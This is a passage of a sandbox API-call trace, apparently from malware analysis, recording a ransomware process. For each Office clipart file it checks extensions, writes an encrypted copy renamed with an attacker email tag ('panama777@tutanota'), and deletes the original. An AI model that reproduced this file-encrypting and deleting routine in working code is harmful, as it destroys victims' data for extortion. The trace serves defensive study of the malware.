	[0271.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0271.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63
	[0271.899] lstrlenW (lpString=".1cd") returned 4
	[0271.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0271.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63
	[0271.899] lstrlenW (lpString=".jpg") returned 4
	[0271.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0271.900] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=32184) returned 1
	[0271.900] CloseHandle (hObject=0x388) returned 1
	[0271.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 0x20
	[0271.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0271.900] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.900] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0271.900] GetLastError () returned 0x0
	[0271.900] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x7db8, lpOverlapped=0x0) returned 1
	[0271.964] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x7dc0, lpOverlapped=0x0) returned 1
	[0271.966] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.966] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.966] SetEndOfFile (hFile=0x28c) returned 1
	[0271.966] CloseHandle (hObject=0x28c) returned 1
	[0271.966] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.966] SetEndOfFile (hFile=0x388) returned 1
	[0271.970] CloseHandle (hObject=0x388) returned 1
	[0271.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 1
	[0271.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63
	[0271.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63
	[0271.976] lstrlenW (lpString=".doc") returned 4
	[0271.976] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0271.976] lstrlenW (lpString=".docx") returned 5
	[0271.976] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1
	[0271.976] lstrlenW (lpString=".pdf") returned 4
	[0271.976] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0271.976] lstrlenW (lpString=".xls") returned 4
	[0271.976] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0271.976] lstrlenW (lpString=".xlsx") returned 5
	[0271.976] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1
	[0271.976] lstrlenW (lpString=".ppt") returned 4
	[0271.976] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0271.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63
	[0271.976] lstrlenW (lpString=".zip") returned 4
	[0271.976] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0271.976] lstrlenW (lpString=".rar") returned 4
	[0271.976] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0271.976] lstrlenW (lpString=".bz2") returned 4
	[0271.976] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0271.976] lstrlenW (lpString=".7z") returned 3
	[0271.976] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0271.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63
	[0271.976] lstrlenW (lpString=".dbf") returned 4
	[0271.976] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0271.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63
	[0271.976] lstrlenW (lpString=".1cd") returned 4
	[0271.976] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0271.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63
	[0271.976] lstrlenW (lpString=".jpg") returned 4
	[0271.977] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0271.977] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=31968) returned 1
	[0271.977] CloseHandle (hObject=0x388) returned 1
	[0271.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 0x20
	[0271.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0271.977] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.977] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0271.978] GetLastError () returned 0x0
	[0271.978] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x7ce0, lpOverlapped=0x0) returned 1
	[0271.980] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x7cf0, lpOverlapped=0x0) returned 1
	[0271.982] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.982] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.982] SetEndOfFile (hFile=0x28c) returned 1
	[0271.982] CloseHandle (hObject=0x28c) returned 1
	[0271.982] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.982] SetEndOfFile (hFile=0x388) returned 1
	[0271.984] CloseHandle (hObject=0x388) returned 1
	[0271.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 1
	[0272.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63
	[0272.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63
	[0272.122] lstrlenW (lpString=".doc") returned 4
	[0272.122] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0272.122] lstrlenW (lpString=".docx") returned 5
	[0272.122] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1
	[0272.122] lstrlenW (lpString=".pdf") returned 4
	[0272.122] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0272.122] lstrlenW (lpString=".xls") returned 4
	[0272.123] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0272.123] lstrlenW (lpString=".xlsx") returned 5
	[0272.123] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1
	[0272.123] lstrlenW (lpString=".ppt") returned 4
	[0272.123] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0272.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63
	[0272.123] lstrlenW (lpString=".zip") returned 4
	[0272.123] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0272.123] lstrlenW (lpString=".rar") returned 4
	[0272.123] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0272.123] lstrlenW (lpString=".bz2") returned 4
	[0272.123] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0272.123] lstrlenW (lpString=".7z") returned 3
	[0272.123] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0272.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63
	[0272.123] lstrlenW (lpString=".dbf") returned 4
	[0272.123] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0272.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63
	[0272.123] lstrlenW (lpString=".1cd") returned 4
	[0272.123] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0272.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63
	[0272.123] lstrlenW (lpString=".jpg") returned 4
	[0272.123] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0272.124] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=32184) returned 1
	[0272.124] CloseHandle (hObject=0x388) returned 1
	[0272.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 0x20
	[0272.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0272.124] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.124] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0272.124] GetLastError () returned 0x0
	[0272.125] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x7db8, lpOverlapped=0x0) returned 1
	[0272.139] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x7dc0, lpOverlapped=0x0) returned 1
	[0272.140] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.140] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.140] SetEndOfFile (hFile=0x28c) returned 1
	[0272.140] CloseHandle (hObject=0x28c) returned 1
	[0272.140] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.140] SetEndOfFile (hFile=0x388) returned 1
	[0272.143] CloseHandle (hObject=0x388) returned 1
	[0272.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 1
	[0272.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63
	[0272.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63
	[0272.189] lstrlenW (lpString=".doc") returned 4
	[0272.189] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0272.189] lstrlenW (lpString=".docx") returned 5
	[0272.189] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0272.189] lstrlenW (lpString=".pdf") returned 4
	[0272.189] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0272.189] lstrlenW (lpString=".xls") returned 4
	[0272.189] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0272.189] lstrlenW (lpString=".xlsx") returned 5
	[0272.189] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0272.189] lstrlenW (lpString=".ppt") returned 4
	[0272.189] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0272.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63
	[0272.190] lstrlenW (lpString=".zip") returned 4
	[0272.190] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0272.190] lstrlenW (lpString=".rar") returned 4
	[0272.190] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0272.190] lstrlenW (lpString=".bz2") returned 4
	[0272.190] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0272.190] lstrlenW (lpString=".7z") returned 3
	[0272.190] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0272.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63
	[0272.190] lstrlenW (lpString=".dbf") returned 4
	[0272.190] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0272.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63
	[0272.190] lstrlenW (lpString=".1cd") returned 4
	[0272.190] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0272.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63
	[0272.190] lstrlenW (lpString=".jpg") returned 4
	[0272.190] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0272.191] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=17040) returned 1
	[0272.191] CloseHandle (hObject=0x35c) returned 1
	[0272.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 0x20
	[0272.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0272.191] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.191] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0272.192] GetLastError () returned 0x0
	[0272.192] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4290, lpOverlapped=0x0) returned 1
	[0272.203] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x42a0, lpOverlapped=0x0) returned 1
	[0272.204] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.204] WriteFile (in: hFile=0x328, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.205] SetEndOfFile (hFile=0x328) returned 1
	[0272.205] CloseHandle (hObject=0x328) returned 1
	[0272.205] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.205] SetEndOfFile (hFile=0x35c) returned 1
	[0272.207] CloseHandle (hObject=0x35c) returned 1
	[0272.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 1
	[0272.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63
	[0272.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63
	[0272.208] lstrlenW (lpString=".doc") returned 4
	[0272.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.208] lstrlenW (lpString=".docx") returned 5
	[0272.208] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0272.208] lstrlenW (lpString=".pdf") returned 4
	[0272.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.208] lstrlenW (lpString=".xls") returned 4
	[0272.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.208] lstrlenW (lpString=".xlsx") returned 5
	[0272.208] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0272.208] lstrlenW (lpString=".ppt") returned 4
	[0272.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63
	[0272.208] lstrlenW (lpString=".zip") returned 4
	[0272.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.208] lstrlenW (lpString=".rar") returned 4
	[0272.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.208] lstrlenW (lpString=".bz2") returned 4
	[0272.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.208] lstrlenW (lpString=".7z") returned 3
	[0272.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63
	[0272.208] lstrlenW (lpString=".dbf") returned 4
	[0272.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63
	[0272.208] lstrlenW (lpString=".1cd") returned 4
	[0272.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63
	[0272.208] lstrlenW (lpString=".jpg") returned 4
	[0272.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.209] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=17344) returned 1
	[0272.209] CloseHandle (hObject=0x35c) returned 1
	[0272.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 0x20
	[0272.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0272.209] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.209] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0272.210] GetLastError () returned 0x0
	[0272.210] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x43c0, lpOverlapped=0x0) returned 1
